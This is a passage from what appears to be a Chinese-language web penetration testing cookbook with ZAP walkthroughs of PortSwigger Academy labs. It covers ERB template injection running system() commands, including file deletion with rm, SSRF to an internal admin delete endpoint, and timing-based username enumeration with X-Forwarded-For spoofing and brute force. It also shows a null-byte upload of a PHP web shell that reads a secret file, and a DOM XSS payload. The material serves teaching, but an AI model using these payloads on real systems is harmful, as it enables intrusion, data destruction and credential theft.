![图 7.13 – 显示缺货信息的 GET 请求图 7.13 – 显示缺货信息的 GET 请求 1. 查阅 ERB 文档(另见部分有链接到文档),你可以看到表达式的语法是<%= someExpression %>,用于评估表达式并将结果渲染到页面上。你还可以使用该表达式生成错误,从而泄露模板正在使用 Ruby ERB。(见图 7.14):图 7.14 – 内部服务器错误泄露 Ruby ERB

图 7.14 – 内部服务器错误泄露 Ruby ERB

  1. message=后输入一个测试有效载荷,包含一个使用 ERB 表达式语法的简单数学运算:

     - https://your-lab-id.web-security-academy.net/?message=<%25%3d+8*11+%25>
    

你会注意到数学公式已经被求解并渲染到 web 应用程序页面中,如图 7.15所示。它将出现在与之前相同的位置,如图 7.16所示。这表明我们可能存在 SSTI 漏洞:

图 7.15 – 数学运算结果渲染到网页

图 7.15 – 数学运算结果渲染到网页

  1. 请参考 Ruby 文档并使用system()方法。此方法可用于执行任意操作系统命令。你可以通过一个简单的 Linux 命令来测试这些命令是否有效:

    <%= system("pwd") %>
    
    <%= system("ls -a") %>
    

在这里我们可以看到命令在 web 应用程序中显示的结果:

图 7.16 – pwd 命令结果

图 7.16 – pwd 命令结果

  1. 现在我们可以看到服务器正在执行命令以打印当前工作目录并列出所有文件,让我们构造一个有效载荷,以便从 Carlos 的目录中删除一个文件:

    <%= system("rm /home/carlos/morale.txt") %>
    

成功执行实验将显示一个祝贺页面:

图 7.17 – 实验已解决

图 7.17 – 实验已解决

重要说明

如果命令导致错误消息或没有执行,请将有效载荷转换为 URL 编码,例如,%3C%25%3D%20system%28%22ls%20-a%22%29%20%25%3E

使用 OWASP ZAP 编码/解码/哈希工具或快捷键Ctrl + E,如图 7.18所示:

图 7.18 – 编码/解码/哈希工具

图 7.18 – 编码/解码/哈希工具

它是如何工作的...

你可以通过使用像 Smarty(PHP)、Freemarker(Java)或 Jinja2(Python)这样的模板引擎,在你的应用程序中使用静态模板文件。模板引擎会在运行时将模板文件中的变量替换为实际用户提供的值,并将模板转换为 HTML 文件,然后发送给客户端。

通过提交无效的语法,结果错误消息将向攻击者指示正在使用的模板引擎,并在某些情况下指明其版本。这使攻击者能够构造恶意有效载荷或将无效语法嵌入模板中,从而执行服务器端命令。

还有更多...

开发者使用服务器端模板预先在服务器上加载自定义用户数据的网页。现代网页框架通常动态生成 HTML 代码,模板包含所需 HTML 输出的静态部分以及描述如何插入动态内容的语法。

模板引擎随后处理模板文件,帮助将动态数据融入网页。当收到 HTTP 请求时,模板引擎会生成 HTML 输出响应。

参见

GitHub SSTI Payloads: github.com/payloadbox/ssti-payloads

若要进一步阅读有关模板框架的内容,请访问以下链接:www.smarty.net/

对于 PHP:

对于 Java:

对于 Python:

对于 Ruby:

服务器端请求伪造的测试

内部和外部资源经常与 Web 应用程序交互。虽然你会期望只有预定的资源接收到你提供的数据,但不当的数据管理可能导致 SSRF,这是一种注入攻击。成功的 SSRF 攻击可以让攻击者访问限制性操作、内部服务或程序或公司内部的文件。在本教程中,我们将展示如何对后端系统执行 SSRF 攻击,寻找内部 IP 地址并随后删除用户。

准备工作

启动本地 ZAP 工具并登录你的 PortSwigger Academy 账户,然后访问 portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system 上的 Basic SSRF against another back-end system 实验。

如何操作...

我们将在本食谱中使用 PortSwigger Academy 的 Basic SSRF versus another back-end system 实验。SSRF 是一种攻击,攻击者通过易受攻击的服务器向目标服务器发送恶意请求,从而获取本来受限的资源或信息。后端系统是支撑网站或应用程序正常运行的基础设施和组件。这些系统通常对最终用户不可见,负责数据存储与处理、请求与响应管理以及系统集成等功能。

后端系统包括以下内容:

  • 数据库

  • 应用服务器

  • 集成系统

后端系统通常是网站或应用程序整体架构的重要组成部分,负责大多数幕后工作,确保程序能够成功运行。

此实验包含一个库存检查功能,该功能从内部系统获取数据,然后扫描内部 IP 地址范围以查找管理接口,接着利用该接口删除用户 Carlos。

以下步骤将引导你完成实验并利用该漏洞:

  1. 访问网页应用并通过 ZAP 进行手动或自动扫描以捕获流量。

  2. 接下来,访问任何产品并点击 检查库存,使用 Break Set 拦截请求,或者从 Sites 窗口选择路径,右键点击并进入 Manual Request Editor,如图 7.19所示:

图 7.19 – 从 Sites 窗口定位 stockAPI

图 7.19 – 从 Sites 窗口定位 stockAPI

  1. stockApi 参数值更改为 http://192.168.0.1:8080/admin/...,这将允许我们访问管理员门户,如图 7.20所示:

图 7.20 – 手动请求编辑器中的 stockAPI 请求

图 7.20 – 手动请求编辑器中的 stockAPI 请求

  1. 高亮显示 IP 地址的最后一个八位字节(数字1),右键点击以在 Fuzzer 中打开(如图 7.21所示):

图 7.21 – Fuzz stockAPI 参数值

图 7.21 – Fuzz stockAPI 参数值

  1. Fuzz Locations 中,点击 添加 两次以打开菜单,并将 类型 切换为 Numberzz。然后,按照提供的值填写以下字段:

    • **从: **1

    • **到: **255

  2. 点击 添加 完成负载(如图 7.22图 7.23所示)。

  3. 点击 启动 Fuzzer

图 7.22 – 对 API 端点进行 Fuzz 测试

图 7.22 – 对 API 端点进行 Fuzz 测试

图 7.23 – Numberzz 负载

图 7.23 – Numberzz 有效载荷

  1. 点击 状态 列在 Fuzzer 信息 窗口中按状态码对攻击进行排序。你将看到一个状态为 200 的条目,展示该位置存在一个成功的管理员页面 IP 地址。

  2. 手动请求编辑器 中再次打开请求,并将 stockApi 中的路径更改为以下字符串:

     /admin/delete?username=carlos
    

重要提示

将参数转换为 HTML 编码字符串。

  1. 发送请求以删除用户。

它是如何工作的...

SSRF 是一种攻击形式,利用与内部/外部网络或主机本身交互的应用程序进行攻击。例如,URL 参数因素或 Webhook 自定义的处理不当,用户指定 Webhook 处理程序或回调 URL。攻击者还可以通过与其他服务的请求交互来提供特定功能。通常,用户数据被发送到服务器进行处理,如果处理不当,可能会被用来执行特定的注入攻击。

SSRF 攻击涉及说服服务器代表攻击者向外部资源发起请求。例如,即使 Web 应用防火墙(WAF) 阻止了常规请求,攻击者也可能通过发现绕过 WAF 的方法来实施 SSRF 攻击。

攻击者可能通过利用绕过方法来避免被 WAF 检测到。例如,攻击者可能使用 URL 编码、Unicode 编码或其他方式改变请求的外观,使得 WAF 无法识别为恶意请求。攻击者还可能通过发现应用程序中的弱点绕过 WAF,从而发起 SSRF 攻击。

例如,攻击者可能会发现应用程序输入验证中的弱点,允许他们将 URL 注入到表单字段中,服务器会代表他们执行该请求,如 图 7.24 所示:

图 7.24 – SSRF 攻击示意图

图 7.24 – SSRF 攻击示意图

还有更多内容…

HTTP 协议并不是唯一可能发生 SSRF 攻击的协议。HTTP 首先在请求中使用,但如果应用程序执行第二次请求,它可能会使用多种其他协议,例如 FTP、SMB、SMTP 或其他协议和/或方案,如 file:/data:/dict:/ 等。

此外,SSRF 经常在云环境中使用,用于获取并窃取凭证或访问令牌,如在 AWS 或 Azure 环境中的元数据服务(如元数据服务器)。

最后,考虑其他攻击方式,如 XML 外部实体(XXE),它可以被用来利用 SSRF 漏洞。

另见

有关 XXE 的更多信息,请参阅 第十三章

第八章:业务逻辑测试

太好了!你已经完成了三分之一。在本章中,我们将讨论业务逻辑缺陷。业务逻辑缺陷是一种错误类型,攻击者发现利用应用程序的实际处理流程的方式,给关联带来负面影响。

在这里,你将学习如何绕过前端 GUI 应用程序,直接将数据发送到后台进行处理。我们还将发现如何通过简单地保持活动会话并未在预期时间内提交交易,来操控和干扰设计的业务流程,在测试流程时序的实验中就是这种情况。此外,我们还将了解工作流漏洞,包括任何使攻击者能够以某种方式滥用系统或应用程序的缺陷,从而避免(不遵循)预定或构建的工作流。

最后,我们将探讨意外文件类型上传的情况,在这种情况下,应用程序可能只接受某些文件类型(如.csv.txt文件)进行处理,并且可能不会检查上传文件的内容或扩展名。这可能导致系统或数据库结果异常,或为攻击者提供新的漏洞可供利用。

在本章中,我们将涵盖以下实验:

  • 测试伪造请求的能力

  • 测试流程时序

  • 测试绕过工作流

  • 测试上传带有恶意载荷的意外文件类型

技术要求

你需要安装 OWASP ZAP 代理,以便使用你的 PortSwigger 帐户访问 PortSwigger Academy 实验室,这些实验室将在本章的实验中使用。

测试伪造请求的能力

攻击者通过伪造请求,将数据直接发送到应用程序的后台进行处理,而不是通过其前端 GUI。

攻击者尝试通过拦截代理(在本例中为 OWASP ZAP)提交包含不被允许、未受保护或未被应用程序业务逻辑预料到的数据值的 HTTP GET**/**POST请求;在本例中,攻击者(即你)将利用应用程序逻辑中的缺陷,以意外的价格购买一件皮夹克。

准备就绪

本实验需要一个 PortSwigger Academy 帐户和 ZAP,以便拦截从服务器到浏览器的请求和响应。

如何操作…

在这一部分,我们将使用 PortSwigger Academy 的过度信任客户端控制实验,通过编辑请求来改变产品的价格。请按照以下说明完成此实验:

  1. 在浏览器中通过 ZAP 代理访问 URL,并登录到 PortSwigger Academy 网站以启动实验:

portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls

  1. 一旦你访问实验室,登录到实验室应用程序的我的账户,并使用提供的用户名/密码wiener**/**peter。没有登录你将无法完成购买。

你还会注意到账户有$100.00的店内积分余额。

  1. 尝试通过将第一个商品轻便‘l33t’皮夹克添加到购物车并完成整个购买过程。

由于没有足够的店内积分,订单被拒绝,如图 8.1所示:

图 8.1 – 轻便夹克购买失败

图 8.1 – 轻便夹克购买失败

  1. 在 ZAP 中,进入历史并查看订单过程。你会注意到,当你将商品添加到购物车时,相应的请求中包含一个价格参数。

  2. 从购物车中移除商品,但停留在显示购物车为空的页面上。

  3. 右键点击POST <url>/cart请求,并选择使用请求编辑器打开/重新发送

  4. 在请求编辑器中,将价格更改为一个任意整数,并确保末尾有两个零以便计算零钱(即1700),然后发送请求,如图 8.2所示:

图 8.2 – 修改价格的请求

图 8.2 – 修改价格的请求

  1. 在网页上,刷新购物车并注意到商品已经回到购物车中,但确认价格已根据你的输入发生了变化(见图 8.3):

图 8.3 – 购物车中已更改的商品

图 8.3 – 购物车中已更改的商品

  1. 重复此过程,将价格设置为低于可用店内积分的任意金额。

  2. 完成订单以解决实验室问题,如图 8.4所示:

图 8.4 – 完成的购买订单

图 8.4 – 完成的购买订单

它是如何工作的…

这些缺陷通过检查项目文档中的字段功能来加以利用,功能可以推断或预测,或者是隐藏的。为了避免遵循标准的业务逻辑程序,插入逻辑上合理的数据。

参见

对于其他类似的情况,请参阅以下内容:

  • 测试暴露的 会话变量

owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/04-Testing_for_Exposed_Session_Variables

  • 跨站请求伪造测试

owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery

  • 测试账户枚举和可猜测的 用户账户

owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account

测试过程时延

过程时延测试是一种业务逻辑测试类型,重点在于查找应用程序完成某些过程(如身份验证)时的流动。在过程时延测试中,测试者观察应用程序处理有效输入与无效输入或操作所花费的时间。测试者验证攻击者是否无法仅通过应用程序完成操作所需的时间来判断应用程序的行为。在身份验证示例中,通过监控过程时延,基于输入有效凭证与无效凭证的时间差异,攻击者可以判断凭证是否有效,而无需依赖图形用户界面(GUI)。

准备就绪

对于这个教程,你需要启动 PortSwigger 的 用户名枚举通过响应时间 实验,并确保 ZAP 在拦截实验应用程序与浏览器之间的流量。

如何操作…

以下是逐步教程,演示如何使用过程时延来找到正确的登录信息:

  1. 使用浏览器代理到 ZAP,导航到以下 URL 并登录到 PortSwigger Academy 网站以启动实验:

portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing

  1. 打开 用户名枚举通过响应时间 实验并启动 ZAP,拦截浏览器和实验之间的通信。

  2. 创建一个上下文并将应用程序的 URL 添加进去,然后点击目标符号,以便仅显示来自应用程序的请求,出现在 站点树历史记录 标签页中。

  3. 尝试使用不同的用户名和密码登录五次;如图 8.5所示,你的 IP 地址已被封锁。

图 8.5 – 用户账户被封锁 30 分钟

图 8.5 – 用户账户被封锁 30 分钟

  1. 如果 IP 地址被封锁,我们将无法执行暴力破解攻击。为了绕过这个问题,我们可以使用 X-Forwarded-For HTTP 头部,这将允许我们伪造 IP 地址。现在,选择尝试登录时发送的 POST 请求;该请求的 URL 以 /login 结尾,如图 8.6所示。右键点击请求并选择 打开/重新发送请求编辑器… 选项:

图 8.6 – 登录的 POST 请求

图 8.6 – 登录的 POST 请求

  1. 请求编辑器窗口将打开。在请求标签中,向下滚动至 HTTP 头部的末尾并添加X-Forwarded-For头部。我们将该头部的值设置为100,如图 8.7所示。更改用户名和密码的值,并点击发送图 8.7还显示了用户名密码字段的高亮显示;图片中这些字段的值是adminadmin

如你所见,请求已成功发送。

图 8.7 – X-Forwarded-For 头部

图 8.7 – X-Forwarded-For 头部

  1. 为了能够自动并持续地更改X-Forwarded-For字段的值,我们需要下载社区脚本。这是为了暴力破解密码用户名字段。以下是下载社区脚本的步骤:

    1. 所以,首先通过点击三立方体图标打开管理附加组件窗口,如图 8.8所示:

图 8.8 – 管理附加组件图标

图 8.8 – 管理附加组件图标

  1. 一旦管理附加组件窗口打开,导航到市场标签,搜索社区脚本。勾选它旁边的复选框,并点击安装所选项,如图 8.9所示:

图 8.9 – 市场社区脚本

图 8.9 – 市场社区脚本

  1. 安装社区脚本后,点击站点标签旁边的加号图标,选择脚本来添加脚本标签。

  2. 展开Fuzzer HTTP 处理器部分,通过右键点击random_x_forwarded_for_ip.js并点击启用脚本来启用它,如图 8.10所示:

图 8.10 – 启用脚本

图 8.10 – 启用脚本

以下是脚本的代码,以防它从社区脚本中被删除:

 function processMessage(utils, message) {
     var random_ip = Math.floor(Math.random() * 254)+ "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254) + "." + Math.floor(Math.random() * 254);
     message.getRequestHeader().setHeader("X-Forwarded-For", random_ip);
}
function processResult(utils, fuzzResult){
     return true;
}
function getRequiredParamsNames(){
     return [];
}
function getOptionalParamsNames(){
     return [];
}
  1. 现在,右键点击我们刚才发送的最后一个请求,即我们添加了X-Forwarded-For头部的请求;该请求的来源应显示为手动。点击打开/使用请求编辑器重新发送...,请求将在请求编辑器窗口中打开。将密码设置为一个非常长的密码(300 个以上字符);在这个请求中,我将thezaplife添加了 21 次作为密码,如图 8.11所示:

图 8.11 – 请求编辑器设置密码

图 8.11 – 请求编辑器设置密码

  1. 右键点击历史记录标签中的最后一个登录请求——它应该是我们添加了长密码的请求,请求的来源应显示为手动。选择攻击并点击模糊...,这将打开Fuzzer窗口。

  2. 导航到消息处理器标签,点击添加...,这将打开添加消息处理器窗口。在脚本字段中,选择我们之前添加的脚本并点击添加,如图 8.12所示:

图 8.12 – 消息处理器

图 8.12 – 消息处理器

  1. 转到Fuzz Locations选项卡。在这一步中,我们将进行用户名的暴力破解,所以选择用户名并点击添加。点击添加后,有效负载窗口将打开;再点击添加

  2. 添加有效负载窗口出现时,选择字符串作为类型,并输入实验中提供的用户名列表。用户名列表可以通过点击实验主页上候选用户名的链接在访问实验之前查看。图 8.13展示了有效负载中的用户名列表。输入用户名后,点击添加,然后在有效负载窗口中点击确定

图 8.13 – 添加有效负载

图 8.13 – 添加有效负载

  1. 然后,点击启动 Fuzzer,如图 8.14所示:

图 8.14 – 启动已添加的有效负载 Fuzzer

图 8.14 – 添加有效负载的 Fuzzer 启动

  1. 拥有最长 RTT 时间的用户名就是正确的用户名。在我的案例中,最长 RTT 时间与用户名activestat相关,如图 8.15所示。

  2. 记下五个具有最长 RTT 时间的用户名;如果你没有找到第一个用户名的密码,可以尝试其他用户名。

图 8.15 – 密码有效负载的 RTT 时间

图 8.15 – 密码有效负载的 RTT 时间

  1. 现在我们已经有了用户名,接下来我们需要进行密码的暴力破解。但首先,我们需要使用请求编辑器重新发送请求以更改用户名。右键点击历史选项卡中的最后一个登录POST请求,选择打开/使用请求编辑器重新发送...

  2. 一旦请求编辑器窗口打开,将用户名更改为具有最长 RTT 时间的用户名。在我的情况下,用户名将是activestat,如图 8.16所示。点击发送

图 8.16 – activestat 的用户名

图 8.16 – activestat 的用户名

  1. 历史选项卡中找到请求,右键点击,悬停在攻击上,然后点击Fuzz...

  2. 转到消息处理器选项卡,点击添加,这将打开添加消息处理器窗口。

  3. 添加消息处理器窗口打开时,选择我们之前添加的脚本,在脚本字段中,点击添加,如图 8.13所示。

  4. 转到Fuzz Locations选项卡,选择password,然后点击添加。当有效负载窗口打开时,再次点击添加。当添加有效负载窗口出现时,选择字符串作为类型,并输入实验中提供的密码列表。密码列表可以通过点击实验主页上候选密码的链接在访问实验之前查看。图 8.17展示了有效负载中的密码列表。输入密码后,点击添加,然后在有效负载窗口中点击确定

图 8.17 – 候选密码负载

图 8.17 – 候选密码负载

  1. 然后,点击开始模糊测试器,如图 8.19所示:

图 8.18 – 有效负载的开始模糊测试器

图 8.18 – 有效负载的开始模糊测试器

  1. 模糊测试器标签页中,通过点击代码栏的代码字样进行排序。正确的密码会显示为302 Found,如图 8.20所示。正确的密码会列在有效负载栏中,在我的情况下,它是montana

图 8.19 – 正确密码的 302 Found

图 8.19 – 正确密码的 302 Found

  1. 现在我们已经知道了正确的用户名和密码,让我们尝试使用这些信息登录网页。如果登录成功,应用程序将显示你的用户名和电子邮件,如图 8.21所示:

图 8.20 – 已解决实验的显示

图 8.20 – 已解决实验的显示

它是如何工作的……

许多系统登录过程需要用户名和密码。如果你仔细观察,当猜测用户名时,如果找到了正确的用户名但输入了错误的密码,所需的时间比输入错误的用户名和错误的密码都要长。这使得即使不知道正确的密码,我们也能找到正确的用户名。然后,如果知道用户名,猜测密码会比同时猜测用户名和密码要容易得多。这种类型的过程定时攻击使得攻击者可以通过分析过程完成所需的时间来判断他们是否拥有有效的用户名,而不依赖于图形用户界面消息。

重要说明

同时对用户名和密码进行模糊攻击(即集群轰炸),也可以用来暴力破解登录。然而,如果可能,先枚举一个有效的用户名要比同时枚举用户名和密码更高效。

另见

对于其他类似的案例,请访问以下链接:

测试绕过工作流

如果用户未按应用程序的业务逻辑要求正确/精确地完成特定阶段,则必须停止工作流程的所有操作并回滚或取消所有新活动。此实验假设了应用程序购买业务工作流程中事件顺序的固有缺陷。在本实验中,攻击者(你)将利用此缺陷,以零额外成本购买皮夹克。

准备工作

对于这个实验,你需要启动 PortSwigger 的不足的工作流程验证实验,并确保 ZAP 正在拦截实验应用程序和你的浏览器之间的流量。

如何操作...

在这个实验中,我们将演示如何通过添加商品到购物车而不增加价格来绕过商品购买工作流程。按照以下步骤绕过购买工作流程:

  1. 在浏览器代理到 ZAP 后,访问该 URL 并登录到 PortSwigger Academy 网站以启动实验:

portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation

  1. 在 ZAP 运行并拦截时,使用提供的用户名和密码登录实验应用程序:wienerpeter

  2. 转到应用主页,购买任何你能够用店铺信用支付的商品,例如巴贝奇 Web 喷雾

  3. 查看代理历史记录标签,查找你下单时的订单:

POST /cart/checkout

此请求将你重定向到订单确认页面。

  1. 打开 ZAP 的GET /cart/order-confirmation?order-confirmation=true请求,在请求编辑器中查看。见图 8.22

图 8.21 – 获取请求的巴贝奇 Web 喷雾

图 8.21 – 获取请求的巴贝奇 Web 喷雾

  1. 接下来,将皮夹克添加到你的购物篮中。

  2. 在相同的请求编辑器中,重新发送订单确认请求(如图 8.21所示),并观察订单完成,但费用没有从你的店铺信用中扣除。

  3. 你的历史记录标签将显示成功的皮夹克订单请求。见图 8.23

实验已解决。

图 8.22 – 已购买皮夹克并完成实验

图 8.22 – 已购买皮夹克并完成实验

工作原理...

工作流缺陷包括任何使攻击者能够滥用系统或应用程序的缺陷,从而让他们能够避免(不执行)原定或构建的工作流。与业务逻辑工作流相关的漏洞是独特的;每个系统或应用程序都有其自己的工作流来完成某项任务或流程。因此,手动滥用案例必须根据特定于工作流的需求和用例仔细制定。如果交换发起一个操作,如果过程失败,该响应将被撤销并消除。应用程序的工作流必须包含控制机制,以确保用户的事务/操作按正确的顺序进行。

由于漏洞的特定性质是绕过已编程的逻辑,用例非常细致,并且需要手动审查以确定正确的需求,从而避免绕过工作流。

另见

测试上传带有恶意有效载荷的意外文件类型

应用程序中的许多业务流程允许上传和修改通过文件上传提供的数据。业务流程必须检查这些文件,只接受特定的 授权 文件类型。业务逻辑负责确定哪些文件是 授权 的,并且它们是否特定于应用程序/系统。在这个案例中,我们将通过个人资料头像攻击一个可被利用的文件上传选项。由于某些文件扩展名被禁止,简单的防御将通过传统的混淆技术被绕过。

用户将上传一个基本的 PHP Web Shell,用于将 /home/carlos/ 文件夹中的一个秘密文件内容提取出来以完成实验。

准备工作

对于这个实验,你需要启动 PortSwigger 的Web shell 通过混淆文件扩展名上传实验,并确保 ZAP 正在拦截实验应用与浏览器之间的流量。

如何操作……

在这个实验中,我们将利用文件上传选项上传一个文件,并使用它来窃取数据。按照以下步骤操作,了解如何完成文件上传和数据窃取:

  1. 使用浏览器代理到 ZAP 后,导航到以下 URL 并登录到 PortSwigger Academy 网站以启动实验:

portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension

  1. 使用用户名和密码(wienerpeter)登录,上传任何.jpg.png图像作为头像,然后点击返回我的帐户返回帐户页面。参见图 8.24

图 8.23 – 上传头像文件

图 8.23 – 上传头像文件

  1. 转到历史记录,并查找通过GET请求/files/avatars/<YOUR-IMAGE>检索到的上传图像。

  2. 在请求编辑器中打开此请求。

  3. 在你的机器上创建一个名为exploit.php的文件,包含一个脚本,用于获取 Carlos 的秘密内容——例如,<?php echo** **file_get_contents('/home/carlos/secret'); ?>

  4. 尝试使用这个脚本作为你的头像。如图 8.25所示,结果表明,你只能提交 JPG 和 PNG 文件。

图 8.24 – 上传 exploit.php 失败

图 8.24 – 上传 exploit.php 失败

  1. 在 ZAP 的历史记录标签中,找到用于提交文件上传的POST /my-account/avatar请求。

  2. 在请求编辑器中,打开POST /my-account/avatar请求,并查找与 PHP 文件相关的请求体部分。在Content-Disposition头中,将文件名参数的值更改为包含 URL 编码的空字节,然后是.jpg扩展名,filename="exploit.php%00.jpg"(参见图 8.26):

图 8.25 – 上传的文件请求体,exploit.php

图 8.25 – 上传的文件请求体,exploit.php

  1. 点击发送以发送请求;如你所见,文件已成功上传。

注意,在响应的消息中,上传的文件名和格式是exploit.php,如图 8.27所示,这表明空字节和.jpg扩展名已经被移除:

图 8.26 – 成功上传 exploit.php

图 8.26 – 成功上传 exploit.php

  1. Sites窗口中,打开GET /files/avatars/<YOUR-IMAGE>请求,并在请求编辑器中替换路径中的图片文件名为exploit.php,然后发送请求。观察到 Carlos 的秘密在响应中返回,如图 8.28所示:

图 8.27 – 响应中包含 Carlos 的秘密(已模糊处理)

图 8.27 – 响应中包含 Carlos 的秘密(已模糊处理)

  1. 提交秘密以解决实验室问题。

它是如何工作的...

由于上传过程会在文件缺少指定扩展名时立即拒绝该文件,我们不得不使用一种混淆技术来欺骗系统,让它认为我们上传的是.jpg文件。这与上传恶意文件有所不同,因为错误的文件格式通常不会被认为是恶意的,尽管它仍然可能对保存的数据造成危害。

在实验室示例中,应用程序只接受特定的文件格式,.jpg文件进行处理。由于文件验证的保障级别较低,程序没有检查上传文件的内容,或者在其他情况下,没有验证扩展名本身(高级别的文件验证)。这可能导致应用程序或服务器提供意外的系统或数据库结果,或者为攻击者提供利用的新方式。

另见

第九章:客户端测试

在进行客户端测试时,攻击类型主要集中在客户端(浏览器)上,而非攻击应用架构的服务器端。这些攻击类型专注于系统或应用的客户端组件,例如网页浏览器或操作系统。为了发现漏洞和缺陷,测试人员可能会采用一系列工具和方法,包括手动测试、自动化测试工具和网络扫描器。你将学习主动攻击常见问题,如文档对象模型(DOM) 基于的跨站脚本攻击 (XSS)、JavaScript 执行(例如泄露最终用户的会话 Cookie)、HTML 注入(攻击者注入恶意代码)、客户端 URL 重定向(攻击者操控网站或 Web 应用,将受害者客户端重定向)、跨源资源共享(利用 Web 应用的安全策略漏洞访问资源或数据)以及WebSockets 测试(攻击者利用 WebSocket 协议漏洞拦截、篡改或伪造客户端与服务器之间的通信)。客户端渗透测试的目的是发现并报告攻击者可能利用的漏洞和缺陷。通过检测并修复这些漏洞,组织可以提升系统安全,防止潜在攻击。

在本章节中,我们将涵盖以下实验内容:

  • 测试基于 DOM 的跨站脚本攻击

  • 测试 JavaScript 执行

  • 测试 HTML 注入

  • 测试客户端 URL 重定向

  • 测试跨源资源共享

  • 测试 WebSockets

技术要求

本章节要求使用常见的浏览器,例如 Mozilla Firefox。你还需要使用你的 PortSwigger 账户访问将在本章节实验中使用的 PortSwigger Academy 实验室。

测试基于 DOM 的跨站脚本攻击

这与反射型跨站脚本攻击相对,反射型跨站脚本攻击是恶意 JavaScript 被 Web 服务器返回,或者存储型 XSS 攻击,是攻击被永久存储在目标服务器或数据库中。这两种攻击都是服务器端注入问题。而 DOM XSS 是纯粹的客户端攻击。DOM XSS 是针对客户端(浏览器)DOM 环境的攻击。

准备工作

本实验需要一个 PortSwigger Academy 账户以及 ZAP 来拦截从服务器到浏览器的请求和响应。

如何操作...

在这个实验中,用户将攻击具有基于 DOM 的 XSS 漏洞的搜索查询跟踪功能。这个弱点利用了 document.write JavaScript 函数将数据输出到网页。然后,location.search 中的数据可以通过 URL 修改并传递给 document.write 方法。要完成实验,DOM XSS 攻击需要调用 alert 函数。

重要提示

检查页面源代码可以帮助你发现可被利用的 DOM XSS 漏洞,方法是寻找在创建攻击时常用的 DOM 元素。

  1. 导航至使用 ZAP 代理的浏览器的 URL,并登录 PortSwigger Academy 网站以启动实验室 (portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink)。

  2. 一旦实验室加载完成,你将看到一个包含搜索栏的主博客页面。在这里,输入任何单词或字母。

  3. 应用程序将尝试查找你的词,并以单引号形式显示给你。右键点击结果并选择 检查

  4. 你会注意到你的随机字符串被放置在 img src 属性中,如 图 9.1 所示:

图 9.1 – 检查搜索结果

图 9.1 – 检查搜索结果

  1. 在搜索栏内,输入一个恶意的 img 属性,例如以下内容:

     #"><img src=/ onerror=alert(2)>
    

这段 HTML JavaScript 代码将被浏览器执行,创建一个弹出警告显示文本 2

图 9.2 – 被利用的 DOM XSS 有效载荷

图 9.2 – 被利用的 DOM XSS 有效载荷

它是如何工作的...

DOM 是一个用于在线内容的编程接口,它使应用程序能够更改文档的结构、设计和内容,这些内容代表了网页。

基于 DOM 的 XSS 漏洞通常出现在以下任何 JavaScript 属性接受数据输入时:

  • 一个 来源(location.search),攻击者可以控制。

  • 一个 URL (document.referrer)

  • 用户的 cookies (document.cookie)

  • 一个 接收点(eval(), document.body.innerHTML),它接受有害的 JavaScript 函数或 DOM 对象。

这些中的任何一个都可能允许动态代码执行,导致被利用。

还有更多...

DOM 中的多个数据源容易受到 XSS 攻击,如下所示:

  • 输入字段:例如,文本框和表单字段如果用户的输入在展示到网站上之前没有经过适当清理,可能会受到 XSS 攻击的威胁。

  • 查询字符串:攻击者可以利用 URL 的查询字符串向网页注入恶意代码。如果程序在展示页面之前未能验证或清理查询字符串,就可能发生这种情况。

  • Cookies:如果它们没有被适当加密或包含未经清理的用户输入,cookies 可能会受到 XSS 攻击的威胁。

  • 文档属性:如果文档的标题和 URL 在展示之前没有被正确清理,它们可能会受到 XSS 攻击的威胁。

  • JavaScript 变量:如果它们包含未经清理的用户输入,JavaScript 变量可能会受到 XSS 攻击的威胁。

  • HTML 属性:包含未经清理的用户输入的 HTML 属性,如 image 标签的 src 属性,可能会受到 XSS 攻击的威胁。

jQuery 是一个常用的 JavaScript 库,通常用于操作 DOM。如果不正确使用,多个 jQuery 函数可能会导致基于 DOM 的 XSS 漏洞,如此处所列。

  • html():此函数设置元素的 HTML 内容。如果用于将元素的 HTML 内容设置为未经清理的用户输入,可能会导致 DOM XSS 漏洞。

  • append():此函数将在元素的末尾插入内容。如果用于在元素末尾插入未经清理的用户输入,可能会导致 DOM XSS 漏洞。

  • prepend():此函数将在元素的开头插入内容。如果用于在元素开头插入未经清理的用户输入,可能会导致 DOM XSS 漏洞。

  • before():此函数将在一个元素之前插入内容。如果用于在元素之前插入未经清理的用户输入,可能会导致 DOM XSS 漏洞。

  • after():此函数将在元素之后插入内容。如果用于在元素之后插入未经清理的用户输入,可能会导致 DOM XSS 漏洞。

  • text():此函数设置元素的文本内容。如果用于将元素的文本内容设置为未经清理的用户输入,可能会导致 DOM XSS 漏洞。

对于网页开发者来说,在使用任何这些函数进行编码之前,正确地清理所有用户输入是非常重要的,包括add()animate()insertAfter()insertBefore()replaceAll()replaceWith()wrap()wrapInner()wrapAll()has()constructor()init()index()jQuery.parseHTML()$.parseHTML()

对于其他载荷,请访问以下 GitHub 页面:

重要提示

如果下载/克隆任何仓库,请确保你有安装它们的权限,因为某些列表(如 SecLists)包含恶意载荷。如果在工作笔记本上安装,可能会触发端点检测和响应解决方案或其他安全工具,标记你有恶意内容,IT 人员可能会问你为什么它在你的工作站上。避免惹上麻烦。

测试 JavaScript 执行

JavaScript 执行是指即使网站有某种保护措施(例如对某些字符进行编码),也能在网站中注入并执行 JavaScript。对于许多攻击者来说,简单的字符编码并不总是一个挑战;他们通过创建更复杂的负载,绕过该编码方式,让后端服务器将其转换为 JavaScript,并允许其在网站上执行。

准备工作

此实验室需要一个 PortSwigger Academy 账号以及 ZAP 来拦截从服务器到浏览器的请求和响应。

如何操作...

在这个示例中,我们将绕过编码机制来传递我们的负载。你将看到我们如何向页面注入 JavaScript 并激活负载,因为我们会发现绕过编码方法的途径。

按照以下步骤开始:

